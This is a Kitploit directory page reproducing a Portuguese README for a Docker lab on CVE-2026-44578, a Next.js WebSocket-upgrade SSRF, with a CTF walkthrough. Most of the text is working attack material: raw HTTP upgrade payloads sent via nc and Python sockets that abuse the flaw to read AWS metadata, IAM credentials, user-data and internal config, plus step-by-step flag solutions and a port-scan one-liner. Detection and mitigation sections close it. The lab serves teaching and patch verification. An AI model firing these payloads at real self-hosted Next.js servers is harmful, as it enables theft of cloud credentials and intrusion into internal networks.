Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-44578-next-js-ssrf — este laboratório pode estar bem ou mal, está em testes, mas deve funcionar — pergunta à IA hahah | Kitploit
Ferramentas/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoSegurança na NuvemLabs e Prática
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

este laboratório pode estar bem ou mal, está em testes, mas deve funcionar — pergunta à IA hahah

Ver Repositório
há 11h 46mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (Laboratório)

Laboratório autocontido para reproduzir a vulnerabilidade CVE-2026-44578 (CWE-918, SSRF) em aplicações Next.js self-hosted que usam o servidor Node.js integrado.

CampoValor
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TipoSSRF (CWE-918)
Versões afetadasNext.js 13.4.13 – 15.5.15 e 16.0.0 – 16.2.4
Versões corrigidas15.5.16 e 16.2.5
Autenticaçãonenhuma
Interação do usuárionenhuma

Topologia do laboratório

root@kitploit:~
Atacante (host: 0.0.0.0)
    │  HTTP :3000 (público)
    ▼
┌──────────────────────────┐  mesmo namespace de rede  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (credenciais,       │
│ (servidor Node integrado)│                           │  user-data, índice) │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln (porta 3000): o app vulnerável, exposto em 0.0.0.0:3000.
  • imds-sidecar: mock do metadata service da AWS que vive em localhost:80 dentro do namespace do container do Next.js, modelando uma instância real na nuvem. Não é alcançável a partir do host diretamente (não há porta publicada).
root@kitploit:~
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # PoC automatizado (5 probes)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + rotas secretas
                        └── nextjs-app/             # App realista "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # landing
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (vulnerável)

Por que é vulnerável

O upgrade handler de WebSocket em router-server.ts chama proxyRequest() quando o URI parseado tem parsedUrl.protocol, sem verificar os flags finished e statusCode que o handler HTTP normal sempre emitiu:

root@kitploit:~
  // vulnerável (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // patch (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

A rota de ataque usa uma request line com URI absoluta de barra dupla: GET http:///path. normalizeRepeatedSlashes colapsa http:/// para http:/, ficando sem hostname, e http-proxy conecta então a localhost:80 com o path intacto:

root@kitploit:~
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

A presença dos cabeçalhos Connection: Upgrade + Upgrade: websocket faz com que o request caia no handler de upgrade vulnerável em vez do handler HTTP com as verificações de segurança.

Subir o laboratório

root@kitploit:~
docker compose up -d --build

Verificar que o app responde:

root@kitploit:~
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

Para deixá-lo funcionando em 0.0.0.0, o mapeamento de portas em docker-compose.yml já expõe 3000:3000 em todas as interfaces.

Exploração manual

1. Usando netcat (nc)

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. Usando Python puro (stdlib, sem dependências)

root@kitploit:~
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. Usando o PoC automatizado

root@kitploit:~
python3 exploit/exploit.py 127.0.0.1 3000

CTF — captura manual do flag final

Fluxo completo 100 % manual, em 4 fases. Há 4 flags ocultos no serviço interno (localhost:80); este guia mostra o fluxo até o primeiro e deixa as rotas para encontrar o restante.

Fase 1 — Reconhecimento

root@kitploit:~
# Fingerprint do servidor
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# Portas abertas via socket (sem nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

Não há acesso direto a 127.0.0.1:80 a partir do atacante: o único vetor é fazer com que o servidor Next.js (que vive na mesma rede que o serviço interno) peça por nós.

Fase 2 — Enumeração do metadata service via SSRF

Primeiro confirmamos o SSRF perguntando pelo índice do metadata service:

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Resposta do índice → candidatos: instance-id, hostname, iam/security-credentials/, user-data (primeiro flag). O índice de latest/meta-data/ também revela sub-keys que vale a pena continuar explorando.

Fase 3 — Construção do payload (byte a byte)

root@kitploit:~
GET http:///latest/user-data HTTP/1.1
ParteFunção
GETA vuln só faz proxy de GET
http:///latest/user-dataURI absoluta. http:/// colapsa para http:/ → hostname null → o proxy conecta a localhost:80 conservando o path /latest/user-data
Host: 127.0.0.1:3000Se não, o servidor responde 400
Connection: Upgrade + Upgrade: websocketDesviam o request para o handler de upgrade vulnerável (o handler HTTP normal valida)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==Cabeçalhos mínimos exigidos em um handshake legítimo

Terminação: \r\n\r\n no socket raw (sem corpo).

Fase 4 — Disparo manual e captura do flag

root@kitploit:~
# Opção A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
root@kitploit:~
# Opção B: socket raw em Python (mesma precisão, sem nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

Saída — o primeiro flag chega no corpo da resposta do serviço interno:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

Flag 1/4 conquistado. O header server: BaseHTTP/0.6 ... (mock Python) confirma que a requisição viajou Atacante → Next.js → localhost:80, ou seja, o flag foi exfiltrado da rede interna pelo SSRF. Os outros 3 estão espalhados em rotas do metadata service e do serviço interno — o índice de latest/meta-data/ é o seu mapa. Encontre o restante.

Endpoints expostos no lab

O fake IMDS (localhost:80) modela o metadata service real da AWS: é uma árvore navegável. Cada diretório (termina em /) responde com o índice de suas sub-rotas; pedir um diretório sem / devolve um redirect 301. Não há rotas ocultas: nenhum flag exige adivinhar — tudo se descobre navegando os índices.

root@kitploit:~
/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → script de boot (aponta para internal/config)
RotaConteúdo
latest/meta-data/Índice de metadata (linha acima)
latest/meta-data/iam/security-credentials/Role lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-roleJSON com AccessKeyId, SecretAccessKey e Token
latest/user-dataScript de boot com credenciais de BD
latest/dynamic/instance-identity/documentJSON de identidade de instância
internal/configConfig de um serviço interno (DB, API key) — referenciado por user-data

Desafio CTF: há 4 flags, e cada um é um artefato real da cadeia de exploração SSRF contra AWS: (1) user-data do boot, (2) credenciais IAM, (3) identity document, (4) config de um serviço interno. Seus valores não estão publicados. Navegue os índices (/ → latest/ → …) e siga de banner em banner; o script de user-data diz onde vive o quarto. Não é preciso adivinhar rotas: o 404 só te delata se você está inventando um path que não existe.

Guia de resolução (spoilers graduais)

Versão completa com a cadeia flag→flag em seu próprio documento: SOLUCION.md (cada flag dá a pista do seguinte, fora deste README).

A regra: cada flag tem uma pista, uma trava e a solução. Primeiro tente com a pista; use a trava quando estiver travado. Não há rotas ocultas: ninguém engana, tudo se navega.

Dois avisos antes de começar:

  1. O helper ssrf() já está pronto em SOLUCION.md → Preparação: copie-o e use-o para o restante do guia. Envia um request GET http:///<path> com Connection: Upgrade + Upgrade: websocket.
  2. Os flags viajam cifrados em base64. Nas respostas você verá blobs RkxBR3… (base64 de FLAG{…}). Decifre-os: echo <blob> | base64 -d.

Flag 1 — user-data (o mais fácil)

  • Pista: o que devolve um GET em /latest/user-data? É a primeira coisa que qualquer atacante verifica na AWS.
  • Trava 1 (índices 301): as pastas são listadas com / no final. ssrf latest/meta-data dá 301 Moved Permanently e Location: latest/meta-data/. = "Siga-me". Com nc não há seguir automático: repita o pedido com a barra.
  • Solução:
root@kitploit:~
ssrf latest/user-data

No corpo: o script de boot com DB_PASS=… (Flag 1 está lá dentro), e uma linha curl -s http://internal/config que é o mapa do Flag 4.

Flag 2 — credenciais IAM

  • Pista: navegue latest/meta-data/iam/security-credentials/ e peça a role que aparece.
  • Trava 2 (o Token não é preenchimento): o 200 traz um JSON longo. AccessKeyId/SecretAccessKey saltam aos olhos; o Flag 2 não está aí: o campo Token é uma única string base64. Decifre-a.
  • Solução:
root@kitploit:~
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role

Flag 3 — identity document

  • Pista: latest/meta-data/ não é a única árvore. Veja o índice raiz: há um dynamic/ que quase ninguém abre.
  • Trava (redirecionamento encadeado): dynamic/ → instance-identity/ → document. São três degraus; em cada um seu ssrf deve terminar em / (exceto document). Gente se perde por não re-solicitar após o 301.
  • Solução:
root@kitploit:~
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document

O JSON de identidade inclui uma chave FLAG com o Flag 3 (em base64). Se sua série de comandos devolveu 301 no segundo degrau, guarde a lição da Trava 1.

Flag 4 — config de um serviço interno

  • Pista: o Flag 1 (user-data) confessava o endereço: curl -s http://internal/config.
  • Trava (o que é "internal"?): a partir do atacante internal não resolve. "internal" é um alias do lado do servidor, não seu. Você não muda o host: o SSRF sempre aterrissa em localhost:80; só escolhe o path.
  • Solução:
root@kitploit:~
ssrf internal/config

Verificação dos 4 (blob base64 → decodificado):

root@kitploit:~
ssrf latest/user-data        | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config         | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo

4/4 flags em mãos. Se algum não sair FLAG{...}, você já sabe: revise o curl de user-data (trava do Flag 4) ou o / dos índices (trava do Flag 1).

Uso manual, por exemplo credenciais IAM:

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Resultado esperado — a resposta chega com server: BaseHTTP/0.6 Python/3.12.x (o mock), não com o banner do Next.js, o que prova que a requisição foi feita pelo servidor para localhost:80:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain

{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}

Resultado do PoC

O PoC verifica o SSRF mas censura os flags: os blobs base64 dos FLAG{...} e os FLAG{...} em claro são mostrados como texto censurado. Os valores só são obtidos por exploração manual (seção CTF acima).

root@kitploit:~
--- IAM Creds ---
  HTTP/1.0 200 OK
  {"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: exploração manual) ***"}

--- User Data ---
  HTTP/1.0 200 OK
  #!/bin/bash
  flag=RkxBR3******** (flag cifrado: exploração manual) ***

Limitações da vulnerabilidade

  • Somente GET (não POST/PUT).
  • Somente porta 80 (o hostname se perde na normalização de http:///).
  • IMDSv2 não explorável (requer PUT para o token).
  • Metadata do GCP não explorável (rejeita Upgrade: websocket com 400).
  • Vercel-hosted não afetado.
  • Atrás de um reverse proxy (nginx/Caddy/HAProxy) as URIs absolutas costumam ser bloqueadas.

Verificação de "corrigido"

Para confirmar que o patch (Next.js ≥ 15.5.16) bloqueia o ataque, mude a versão em nextjs-app/package.json para 15.5.16, reconstrua e re-execute o mesmo payload: a conexão é fechada sem devolver dados.

Detecção

Assinaturas em logs do processo Next.js:

  • Failed to proxy http:/ — o proxy disparou mas o destino era inalcançável.
  • Requests cuja request line contém uma URI absoluta com http: junto a cabeçalhos Connection: Upgrade / Upgrade: websocket.

Mitigação

  • Atualizar para 15.5.16 / 16.2.5 ou posterior.
  • Se não puder atualizar: bloquear upgrades de WebSocket no proxy reverso e aplicar IMDSv2 (HttpTokens=required) na AWS.
  • Exemplo nginx para rejeitar URIs absolutas:
root@kitploit:~
if ($request_uri ~* "^https?://") { return 400; }

Referências

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
  • GHSA: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Fix commit: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Baixar ferramenta